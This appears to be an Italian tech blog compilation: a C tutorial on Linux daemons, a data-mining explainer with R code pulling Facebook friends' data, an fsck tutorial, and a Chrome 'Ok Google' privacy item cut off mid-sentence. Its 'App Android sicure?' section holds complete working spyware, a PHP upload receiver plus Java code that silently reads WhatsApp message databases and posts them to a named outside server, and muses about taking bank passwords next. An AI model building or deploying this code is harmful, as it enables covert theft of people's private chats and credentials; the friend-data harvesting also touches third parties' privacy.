utilizza la fork () funzione: _______________________________________________ pid_t pid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } _________________________________________________ Si noti il controllo di errore subito dopo la chiamata a fork () . Quando si scrive un demone, si dovrà codificare come difensiva possibile. In effetti, una buona percentuale del codice totale in un demone consiste in nient’altro che il controllo degli errori. La fork () funzione restituisce l’ID di processo (PID) del processo figlio (diverso da zero), o -1 in caso di fallimento. Se il processo non può fork di un figlio, il demone deve terminare qui. Se il PID restituito da fork () ha esito positivo, il processo padre deve uscire con grazia. Questo può sembrare strano a chi non l’ha vista, ma per biforcazione, il processo figlio continua l’esecuzione da qui in avanti nel codice UMASK Per scrivere a tutti i file (compreso il registro) creati dal demone, la maschera in modalità file (umask) deve essere modificata per far sì che possano essere scritti o letti in modo corretto. Questo è simile a eseguire umask dalla riga di comando, ma lo facciamo di codice qui. Possiamo usare la umask () per eseguire questa funzione: __________________________________________ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { /* Log failure (use syslog if possible) */ exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); ____________________________________________ Impostando la umask a 0, avremo pieno accesso ai file generati dal demone. Anche se non si prevede di utilizzare qualsiasi file, è una buona idea impostare la umask qui comunque, nel caso in cui vi sarà l’accesso ai file sul filesystem. SID Da qui, il processo figlio deve avere un unico SID dal kernel per funzionare. Altrimenti, il processo di bambino diventa orfano nel sistema. Il tipo pid_t, dichiarato nella sezione precedente, viene anche utilizzato per creare un nuovo SID per il processo figlio: Codice: _____________________________________________ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Open any logs here */ /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { /* Log any failure */ exit(EXIT_FAILURE); } ________________________________________ CAMBIARE LA DIRECTORY DI LAVORO La directory di lavoro corrente dovrebbero essere modificati per un posto che è garantito per essere sempre lì. Dal momento che molte distribuzioni Linux non seguire completamente il Linux Filesystem Hierarchy Standard, l’unica directory che è garantito per essere lì è la radice (/). Possiamo farlo utilizzando il chdir () funzione: _______________________________________ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Open any logs here */ /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { /* Log any failure here */ exit(EXIT_FAILURE); } /* Change the current working directory */ if ((chdir(“/”)) < 0) { /* Log any failure here */ exit(EXIT_FAILURE); } _______________________________________________ CHIUSURA DESCRITTORI DI FILE STANDAR Uno degli ultimi passaggi nella creazione di un demone sta chiudendo i descrittori di file standard (stdin, stdout, stderr). Dal momento che un demone non è possibile utilizzare il terminale, questi descrittori di file sono ridondanti e un pericolo potenziale per la sicurezza. Il close () funzione in grado di gestire questo per noi: ___________________________________________________ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Open any logs here */ /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { /* Log any failure here */ exit(EXIT_FAILURE); } /* Change the current working directory */ if ((chdir(“/”)) < 0) { /* Log any failure here */ exit(EXIT_FAILURE); } /* Close out the standard file descriptors */ close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); _____________________________________________ L’ANELLO Un codice principale daemon è tipicamente all’interno di un ciclo infinito. Tecnicamente, non è un ciclo infinito, ma è strutturato come uno: ________________________________________ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Open any logs here */ /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { /* Log any failures here */ exit(EXIT_FAILURE); } /* Change the current working directory */ if ((chdir(“/”)) < 0) { /* Log any failures here */ exit(EXIT_FAILURE); } /* Close out the standard file descriptors */ close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); /* Daemon-specific initialization goes here */ /* The Big Loop */ while (1) { /* Do some task here … */ sleep(30); /* wait 30 seconds */ _____________________________ ESEMPIO COMPLETO Qui di seguito è un demone esempio completo che mostra tutti i passi necessari per l’installazione e l’esecuzione. Per eseguire questa operazione, è sufficiente compilare con gcc, e avviare l’esecuzione dalla riga di comando. Per terminare, utilizzare l’ uccisione di comando dopo aver trovato il suo PID. Ho anche messo nel giusto includere istruzioni per l’interfaccia con il syslog, che è consigliato per lo meno per l’invio di start / stop / pausa / die dichiarazioni di registro, oltre a utilizzare i log personalizzati con la fopen () / fwrite ( ) / fclose () chiamate di funzione. ________________________________ #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <syslog.h> #include <string.h> int main(void) { /* Our process ID and Session ID */ pid_t pid, sid; /* Fork off the parent process */ pid = fork(); if (pid < 0) { exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Open any logs here */ /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { /* Log the failure */ exit(EXIT_FAILURE); } /* Change the current working directory */ if ((chdir(“/”)) < 0) { /* Log the failure */ exit(EXIT_FAILURE); } /* Close out the standard file descriptors */ close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); /* Daemon-specific initialization goes here */ /* The Big Loop */ while (1) { /* Do some task here … */ sleep(30); /* wait 30 seconds */ } exit(EXIT_SUCCESS); } Data mining Wikipedia: Il data mining è l'insieme di tecniche e metodologie che hanno per oggetto l'estrazione di un sapere o di una conoscenza a partire da grandi quantità di dati (attraverso metodi automatici o semiautomatici) e l'utilizzo scientifico, industriale o operativo di questo sapere. Concetti di base La statistica può essere definita altrimenti come "estrazione di informazione utile da insiemi di dati". Il concetto di data mining è simile ma con una sostanziale differenza: la statistica permette di elaborare informazioni generali riguardo ad una popolazione (es. percentuali di disoccupazione, nascite) mentre il data mining viene utilizzato per cercare correlazioni tra più variabili relativamente ai singoli individui; ad esempio sapendo il comportamento di un cliente in una compagnia telefonica cerco di prevedere quanto spenderà nell'immediato futuro. In sostanza il data mining è " l'analisi matematica eseguita su database di grandi dimensioni". Il termine data mining è diventato popolare nei tardi anni '90 come versione abbreviata della definizione appena esposta. Oggi il data mining (letteralmente: estrazione di dati) ha una duplice valenza: estrazione, con tecniche analitiche all'avanguardia, di informazione implicita, nascosta, da dati già strutturati, per renderla disponibile e direttamente utilizzabile; esplorazione ed analisi, eseguita in modo automatico o semiautomatico, su grandi quantità di dati allo scopo di scoprire pattern (schemi) significativi. In entrambi i casi i concetti di informazione e di significato sono legati strettamente al dominio applicativo in cui si esegue data mining, in altre parole un dato può essere interessante o trascurabile a seconda del tipo di applicazione in cui si vuole operare. Questo tipo di attività è cruciale in molti ambiti della ricerca scientifica, ma anche in altri settori (per esempio in quello delle ricerche di mercato). Nel mondo professionale è utilizzata per risolvere problematiche diverse tra loro, che vanno dalla gestione delle relazioni con i clienti (CRM), all'individuazione di comportamenti fraudolenti, fino all'ottimizzazione di siti web. Esempi Che cosa "non è" data mining? cercare un numero di telefono nell'elenco; fare una ricerca in Internet su "vacanze alle Maldive". Che cosa "è" data mining? fare una ricerca nel web su una parola chiave e classificare i documenti trovati secondo un criterio semantico (per esempio "corriere": nome di giornale, professione, ecc.); scoprire chi sono i clienti che hanno maggiore propensione di acquisto su certi prodotti o campagne pubblicitarie. Applicazioni nella ricerca scientifica I fattori principali che hanno contribuito allo sviluppo del data mining sono: le grandi accumulazioni di dati in formato elettronico, il data storage poco costoso, i nuovi metodi e tecniche di analisi (apprendimento automatico, riconoscimento di pattern). Le tecniche di data mining sono fondate su specifici algoritmi. I pattern identificati possono essere, a loro volta, il punto di partenza per ipotizzare e quindi verificare nuove relazioni di tipo causale fra fenomeni; in generale, possono servire in senso statistico per formulare previsioni su nuovi insiemi di dati. Un concetto correlato al data mining è quello di apprendimento automatico (Machine learning); infatti, l'identificazione di pattern può paragonarsi all'apprendimento, da parte del sistema di data mining, di una relazione causale precedentemente ignota, cosa che trova applicazione in ambiti come quello degli algoritmi euristici e dell'intelligenza artificiale. Tuttavia, occorre notare che il processo di data mining è sempre sottoposto al rischio di rivelare relazioni causali che poi si rivelano inesistenti. Tra le tecniche maggiormente utilizzate in questo ambito vi sono: Clustering; Reti neurali; Alberi di decisione; Analisi delle associazioni (individuazione dei prodotti acquistati congiuntamente). Un'altra tecnica molto diffusa per il data mining è l'apprendimento mediante classificazione. Questo schema di apprendimento parte da un insieme ben definito di esempi di classificazione per casi noti, dai quali ci si aspetta di dedurre un modo per classificare esempi non noti. Tale approccio viene anche detto "con supervisione" (supervised), nel senso che lo schema di apprendimento opera sotto la supervisione fornita implicitamente dagli esempi di classificazione per i casi noti; tali esempi, per questo motivo, vengono anche detti training examples, ovvero "esempi per l’addestramento". La conoscenza acquisita per apprendimento mediante classificazione può essere rappresentata con un albero di decisione. L'estrazione dei dati vera e propria giunge quindi al termine di un processo che comporta numerose fasi: si individuano le fonti di dati; si crea un unico set di dati aggregati; si effettua una pre-elaborazione (data cleaning, analisi esplorative, selezione, ecc.); si estraggono i dati con l'algoritmo scelto; si interpretano e valutano i pattern; l'ultimo passaggio va dai pattern alla nuova conoscenza così acquisita. Applicazioni nella ricerca di mercato L'utilizzo del data mining nella ricerca di mercato è volto ad ampliare la conoscenza su cui basare i processi decisionali. Nel contesto aziendale il data mining è considerato parte del processo che porta alla creazione di un data warehouse. È efficace soprattutto per la valorizzazione delle informazioni aziendali residenti in questi grandi depositi di dati. Affinché l'informazione estratta dai dati esistenti sia significativa, e quindi potenzialmente utile, deve essere: valida (cioè può agire anche sui nuovi dati); precedentemente sconosciuta; comprensibile. In questo contesto, un pattern (schema) non è altro che la rappresentazione delle relazioni chiave che vengono scoperte durante il processo di estrazione dati: sequenze ripetute, omogeneità, emergenza di regole, ecc. Per esempio, se un pattern mostra che i clienti di una certa area demografica sono molto propensi ad acquistare uno specifico prodotto, allora un'interrogazione (query) selettiva ad un data warehouse di probabili compratori può essere usata per generare un elenco di indirizzi promozionali. Il text mining È una forma particolare di data mining nella quale i dati consistono in testi in lingua naturale, in altre parole, documenti "destrutturati". Il text mining unisce la tecnologia della lingua con gli algoritmi del data mining. L'obiettivo è sempre lo stesso: l'estrazione di informazione implicita contenuta in un insieme di documenti. Negli ultimi anni ha avuto un notevole sviluppo, grazie ai progressi delle tecniche di elaborazione del linguaggio naturale (NLP in inglese), della disponibilità di applicazioni complesse attraverso gli Application service provider (ASP) e dell'interesse verso le tecniche automatiche di gestione della lingua mostrato sia dagli accademici, sia dai produttori di software, sia dai gestori dei motori di ricerca. Principali Software di data mining Weka: acronimo di "Waikato Environment for Knowledge Analysis", è un software per l'apprendimento automatico R: è un ambiente di sviluppo specifico per l'analisi statistica dei dati che utilizza un linguaggio di programmazione derivato e in larga parte compatibile con S. SAS: è un complesso di prodotti software integrati (sviluppati dal SAS Institute) che permettono ad un programmatore: inserimento, ricerca e gestione di dati; generazione di report e grafici analisi statistica e matematica pianificazione, previsione e supporto alle decisioni ricerca operativa e project management gestione di qualità sviluppo di applicazioni Inoltre numerosi sviluppatori realizzano molte soluzioni che permettono funzioni quali data warehousing e data mining, gestione delle risorse umane e supporto alle decisioni, gestione finanziaria... SPSS: è uno dei programmi di statistica più utilizzati, perché permette di svolgere numerose operazioni che con i software di calcolo classici non è possibile effettuare. Per il nostro esempio untilizeremo R (Link Download) Vediamo come usarlo: Allora applicheremo R a facebook, vi starete chiedendo quale possa esserne il suo utlizzo, niente di piu semplice, possiamo sapere ad esempio in percentuale quali sono i film favoriti dai nostri amici, la musica, i libri ecc... Incominciamo con Accediamo al nostro account facebook ed otteniamo il token di acesso alle API grafiche di facebook (Richiedi le autorizazzioni estese per raccogliere i dati dei tuoi aamici) Ora utilizza la funzione extract.FBNet token = "AAACEdEose0c..." # metti quello fornitoti da facebook res = extract.FBNet(token) Ok Ok afr0, mah io voglio sapere che musica ascoltano i miei amici, anzi statisticamente quale la loro musica preferita Niente di piu semplice all.music = lapply(res$info, function(x) x$music) length(unique(unlist(all.music))) # 811 different values sum(table(unlist(all.music))==1) # 83 musicians are only cited once music.freq = sort(table(unlist(all.music)), decreasing=T) best.music.freq = names(music.freq)[music.freq>4] best.music = substr((unlist(all.music))[unlist(all.music)%in %best.music.freq],1,15) # to shorten the names num = as.numeric(as.factor(best.music)) best.music = data.frame("music"=best.music,"id"=factor(num)) qplot(id, data=best.music, geom="bar", fill=music)+labs(title="My friends' favorite music", xlab="") L'ultimo comando che vedete e dato dal pacchetto ggplot2 Il risultato che otterremmo sarà il seguente Questo non e che la punta di quello che e possibile fare! Immaginate se qualcuno atraverso tali grafici puo studiarvi e manipolarvi? Ma questa forse e solo fantascienza [un grazie a: Nathalie] App Android sicure? La domanda che si pone all'inizzio di questo articolo e la seguente: mah se uno volesse con un app rubare le nostra pasword come fa? Incominciamo: inanzitutto prende un applicazzione fin qui e semplice direi dopo di che aggiunge questo semplice pezzo in php <?php $uploaddir = "/tmp/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> Dopo di che si modifica il file manifest.xml aggiungendo: <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" / > <uses-permission android:name="android.permission.INTERNET" /> poi si modifica il mainactivity di java package bb.security.whatsappupload; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.app.Activity; import android.app.ProgressDialog; import android.util.Log; import android.view.Menu; public class MainActivity extends Activity { //A ProgressDialog object private ProgressDialog progressDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new UploadWhatsApp().execute(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @SuppressWarnings("deprecation") private void uploadFile(String file) { HttpURLConnection conn = null; DataOutputStream dos = null; DataInputStream inStream = null; Log.i("FILE", "Filename:\n" + file); String lineEnd = "\r\n"; String twoHyphens = "--"; String boundary = "*****"; int bytesRead, bytesAvailable, bufferSize; byte[] buffer; int maxBufferSize = 1 * 1024 * 1024 * 1024; String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php"; try { // ------------------ CLIENT REQUEST FileInputStream fileInputStream = new FileInputStream(new File( file)); // open a URL connection to the Servlet URL url = new URL(urlString); // Open a HTTP connection to the URL conn = (HttpURLConnection) url.openConnection(); // Allow Inputs conn.setDoInput(true); // Allow Outputs conn.setDoOutput(true); // Don't use a cached copy. conn.setUseCaches(false); // Use a post method. conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "Keep-Alive"); conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); dos = new DataOutputStream(conn.getOutputStream()); dos.writeBytes(twoHyphens + boundary + lineEnd); dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\"" + file + "\"" + lineEnd); dos.writeBytes(lineEnd); // create a buffer of maximum size bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); buffer = new byte[bufferSize]; // read file and write it into form... bytesRead = fileInputStream.read(buffer, 0, bufferSize); while (bytesRead > 0) { dos.write(buffer, 0, bufferSize); bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); bytesRead = fileInputStream.read(buffer, 0, bufferSize); } // send multipart form data necesssary after file data... dos.writeBytes(lineEnd); dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); // close streams Log.e("Debug", "File is written"); fileInputStream.close(); dos.flush(); dos.close(); } catch (MalformedURLException ex) { Log.e("Debug", "error: " + ex.getMessage(), ex); } catch (IOException ioe) { Log.e("Debug", "error: " + ioe.getMessage(), ioe); } // ------------------ read the SERVER RESPONSE try { if (conn != null){ inStream = new DataInputStream(conn.getInputStream()); String str; while ((str = inStream.readLine()) != null) { Log.e("Debug", "Server Response " + str); } inStream.close(); } } catch (IOException ioex) { Log.e("Debug", "error: " + ioex.getMessage(), ioex); } } private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{ @Override protected void onPreExecute() { //Create a new progress dialog progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...", "Loading, please wait...", false, false); } //The code to be executed in a background thread. @Override protected Void doInBackground(Void... params) { String fileWACrypt = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db.crypt"; String fileWAPlain = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db"; String fileWAwa = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/wa.db"; MainActivity.this.uploadFile(fileWACrypt); MainActivity.this.uploadFile(fileWAPlain); MainActivity.this.uploadFile(fileWAwa); return null; } //Update the progress @Override protected void onProgressUpdate(Integer... values) { //set the current progress of the progress dialog progressDialog.setProgress(values[0]); } //after executing the code in the thread @Override protected void onPostExecute(Void result) { //close the progress dialog progressDialog.dismiss(); //initialize the View setContentView(R.layout.activity_main); } } } Ed ora estrerranno da remoto, le vostre chat di Whatsapp, ma se al posto di prellevare il db di wahtsapp estraessere le pasword, dei vostri conti bancari che avete salvato sul vostro smartphone? [ Credit:Bas* and afr0] *a differenza di winmagazine, io metto sempre i crediti a chi ha scritto, o condiviso il codice FSCK L'alleato se il tuo files system non va Cos'è fsck? Come spiegato da die.net è un comando per controllare ed riparare il fyle system di linux, a quanti di noi sara sicuramente capitato questo errore: Anche a me personalmente e capitato di recente, ed il seguente reporter spieghera nel caso anche voi abbiate questo problema come fare: Il primo passo, e quello di usare un'altra disto linux in live, una volta avviata, si procede andando al terminale e digitando verificare come viene rilevato il disco da ripristinare dal nostro sistema operativo. Quindi digitiamo il comando: sudo fdisk -l Cosi vedremo i dischi e partizioni presenti / collegati nel nostro sistema, nel nel mio caso la partizione da ripristinare è stata /dev/sdb1 Bene quindi si effettua il primo tentativo per riparare il file system digitando (da root) fsck /dev/sdb1 E dopo che avra effettuato il suo lavoro, nel suo risultato mostrera uno dei seguenti numeri: 0 - Nessun errore 1 - Errori del file system corretti 2 - Il sistema dovrebbe essere rebootato 4 - Errori del file system non corretti 8 - Errore operativo 16 - Errore d’uso o di sintassi 128 - Errore della shared library Adesso vediamo le “opzioni aggiuntive” che puo dare fsck: Controllare tutti i file system in una corsa con l'opzione -A È possibile controllare tutti i file system in un unico passaggio di fsck utilizzare questa opzione. Questo controlla il file system nell'ordine in fs_passno menzionato per ogni filesystem in / etc / fstab. Si prega di notare che il file system con un valore fs_passno di 0 vengono ignorati, e maggiore di 0 vengono controllati nell'ordine. Il file / etc / fstab contiene le voci come elencato di seguito: # cat /etc/fstab ## proc /proc proc nodev,noexec,nosuid 0 ## / was on /dev/sda5 during installation /dev/sda5 / ext4 errors=remount-ro 0 1 ## /mydata was on /dev/sda6 during installation /dev/sda6 /mydata ext2 defaults 0 2 ## /backup was on /dev/sda7 during installation /dev/sda7 /backup vfat defaults 0 3 0 Qui, il file system vengono controllati in parallelo nel vostro sistema. # fsck -A Si consiglia di escludere il filesystem di root durante questo controllo globale con l'aggiunta di opzione -R come illustrato di seguito. # fsck -AR -y fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 95/2240224 files, 3793506/4476416 blocks dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 8 files, 50/1463400 clusters Controllare solo una specifica Filesystem Type con l'opzione -t Utilizzando l'opzione -t fsck, è possibile specificare l'elenco dei file system da controllare. Quando si utilizza con l'opzione -A, il fsck controllerà solo il file system di cui con questa opzione -t. Si noti che fslist è un valori separati da virgola. Ora, passare ext2 come valore fslist opzione -t come mostrato di seguito: # fsck -AR -t ext2 -y fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 11/2240224 files, 70327/4476416 blocks In questo esempio, / dev / sda6 è l'unica partizione creata con il filesystem ext2, quindi di venire controllato di conseguenza. Uso la parola 'no' di fronte a file system, è possibile controllare tutti gli altri tipi di file system, tranne un particolare filesystem. Nel seguente esempio, ext2 è escluso dal controllo. # fsck -AR -t noext2 -y fsck from util-linux 2.20.1 dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 0 files, 1/1463400 clusters Non eseguire Fsck sul filesystem montato con l'opzione -M E 'una buona idea di utilizzare questa opzione come predefinita con tutte le tue operazioni fsck. Ciò impedisce di eseguire fsck accidentalmente su un filesystem che viene montato. # mount | grep "/dev/sd*" /dev/sda5 on / type ext4 (rw,errors=remount-ro) /dev/sda6 on /mydata type ext2 (rw) /dev/sda7 on /backup type vfat (rw) Come indicato sopra, / dev / sda7 è montato. Se si tenta di eseguire fsck su questo / dev / sda7 montato il filesystem (insieme con l'opzione -M), fsck semplicemente uscire con il codice di uscita 0, come illustrato di seguito. # fsck -M /dev/sda7 # echo $? 0 Salta la visualizzazione dei titoli con opzione -t Utilizzando l'opzione -T, è possibile ignorare il titolo ottiene mostrato all'inizio di output del comando fsck. # fsck -TAR e2fsck 1.42 (29-Nov-2011) /dev/sda6 is mounted. e2fsck: Cannot continue, aborting. dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 8 files, 50/1463400 clusters Forzare un filesystem Verificare Anche se è Pulire utilizzando l'opzione -f Di default fsck tenta di ignorare il file system pulito per fare un lavoro più veloce. # fsck /dev/sda6 fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 95/2240224 files, 3793503/4476416 blocks È possibile forzare per controllare il file system usando -f come illustrato di seguito. # fsck /dev/sda6 -f fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793503/4476416 blocks Tentare di risolvere i problemi rilevati utilizzando automaticamente l'opzione -y Nel seguente esempio, partizione / dev / sda6 è danneggiato, come illustrato di seguito. # mount /dev/sda6 /mydata # cd /mydata # ls -li ls: cannot access test: Input/output error total 72 49061 -rw-r--r-- 1 root root 8 Aug 21 21:50 1 49058 -rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes 49057 -rw-r--r-- 1 root root 8192 Aug 21 21:23 fwh 11 drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found 2060353 ?rwSr-S-wT 16 root root 4096 Aug 21 21:11 Movies ? -????????? ? ? ? ? ? test Come si è visto sopra, la directory Movies e un file di test attributi non sono validi. Nell'esempio seguente, y passerà "sì" a tutte le domande per risolvere il danneggiamento rilevata automaticamente. # fsck -y /dev/sda6 fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0137642 but it looks like it is really a directory. Fix? yes Pass 2: Checking directory structure Entry 'test' in / (2) has deleted/unused inode 49059. Clear? yes Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/sda6: ***** FILE SYSTEM WAS MODIFIED ***** /dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416 blocks Evitare di riparazione, ma segnalare i problemi a Stdout usando l'opzione -n È possibile stampare tali problemi rilevati in stdout senza riparare il file system usando l'opzione -n fsck. In primo luogo, si poteva notare / vedere il problema in partizione / dev / sda6 che la directory Movies (e il file FWH) non ha dati di attributo validi. # mount /dev/sda6 /mydata # cd /mydata # ls -lrt total 64 drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found ?--xrwx-wx 16 root root 4096 Aug 21 21:11 Movies ?-----x-wx 1 root root 8192 Aug 21 21:23 fwh -rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes -rw-r--r-- 1 root root 8 Aug 21 21:50 1 Il problema di cui sopra nella partizione specifica visualizzata in stdout senza fare alcuna correzione su come segue, L'esempio seguente mostra fsck il problema nel stdout senza fissarlo. (Viene mostrato uscita parziale sotto). # fsck -n /dev/sda6 fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. Fix? no Inode 2060353, i_blocks is 8, should be 0. Fix? no Pass 2: Checking directory structure Inode 2060353 (/Movies) has invalid mode (0173). Clear? no Inode 49057 (/fwh) has invalid mode (013). Clear? no Entry 'fwh' in / (2) has an incorrect filetype (was 1, should be 0). Fix? no Pass 3: Checking directory connectivity Unconnected directory inode 65409 (???) Connect to /lost+found? no '..' in ... (65409) is ??? (2060353), should be (0). Fix? no Unconnected directory inode 2076736 (???) Connect to /lost+found? no Pass 4: Checking reference counts Inode 2 ref count is 4, should be 3. Fix? no Inode 65409 ref count is 3, should be 2. Fix? no Inode 2060353 ref count is 16, should be 15. Fix? no Unattached inode 2060354 Connect to /lost+found? no Pass 5: Checking group summary information Block bitmap differences: -(164356--164357) -4149248 Fix? no Directories count wrong for group #126 (1, counted=0). Fix? no /dev/sda6: ********** WARNING: Filesystem still has errors ********** /dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416 blocks riparare automaticamente le parti danneggiate con l'opzione -a Al fine di riparare la parte danneggiata automaticamente (senza l'intervento dell'utente), utilizzare l'opzione -a come illustrato di seguito. # fsck -a -AR L'opzione -a è lo stesso p in utility e2fsck. Essa provoca e2fsck per correggere eventuali problemi rilevati che deve essere fissato in modo sicuro senza l'interazione dell'utente. Nel caso in cui fsck richiede attenzione dell'amministratore, esce semplicemente con il codice di errore 4 prima di stampare la descrizione del problema. # fsck -a /dev/sda6 fsck from util-linux 2.20.1 /dev/sda6 contains a file system with errors, check forced. /dev/sda6: Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. /dev/sda6: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY. (i.e., without -a or -p options) # echo $? 4 Come ricorderete, l'opzione -y fsck può essere usata qui per risolvere automaticamente il problema di cui sopra. # fsck -y /dev/sda6 fsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. Fix? yes Pass 2: Checking directory structure Inode 49057 (/fwh) has invalid mode (013). Clear? yes Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information Block bitmap differences: -(164356--164357) Fix? yes Free blocks count wrong for group #5 (0, counted=2). Fix? yes Free blocks count wrong (682908, counted=682910). Fix? yes /dev/sda6: ***** FILE SYSTEM WAS MODIFIED ***** /dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793506/4476416 blocks Chrome lo spione Google è stato sotto il fuoco di scaricare e installare una estensione Chrome surrettiziamente e successivamente ascoltato le conversazioni degli utenti senza il consenso di cromo. Dopo queste accuse, un'ondata di critiche da parte di attivisti della privacy e sviluppatori open source ha portato a Google di rimuovere l'estensione da Chromium , la versione open source del browser Chrome. L'estensione in questione è "Chrome hotword", che è risultato essere responsabile dell'offerta famosa" del browser OK, Google funzionalità ". 'Ok, Google'è certamente una caratteristica utile che permette agli utenti di cercare le cose attraverso la loro voce quando usano Google come motore di ricerca predefinito, ma è una cosa che consente anche l'intercettazione di ogni singola conversazione fatta da un utente Google silenziosamente gli ascolti la conversazione Questo problema è venuto alla luce dal fondatore del Partito Pirata Rick Falkvinge, che dice Google ha silenziosamente installato nero codice scatola nel browser Chromium open source, il che significa che contiene il codice precompilato che gli utenti non possono vedere. Esattamente quello che fa questo scatola nera è ancora chiaro, ma Falkvinge ha sostenuto che Google sta ascoltando le conversazioni degli utenti di cromo attraverso questa scatola nera di codice. Il codice di 'scatola nera' attivata una funzione che attiva una funzione di ricerca del browser quando si dice "Ok, Google", tuttavia il codice attivato il microfono, così come consentito catturare audio. "Il computer è stato invisibile configurato per inviare ciò che è stato detto nella vostra stanza a qualcuno, ad una società privata in un altro paese, senza il consenso o la conoscenza", diceFalkvinge. Google ha risposto alla Issue Google poiché si difese, sostenendo la possibilità di utilizzare "Ok Google" comandi e attivare l'estensione è un opt-in funzione. "In primo luogo, mentre facciamo scaricare il modulo hotword all'avvio, noi non attivano a meno che non si opta in hotwording,"Google ha scritto sul suo forum di sviluppo. "Se si va in. 'Chrome: // settings,' vedrete una casella di controllo 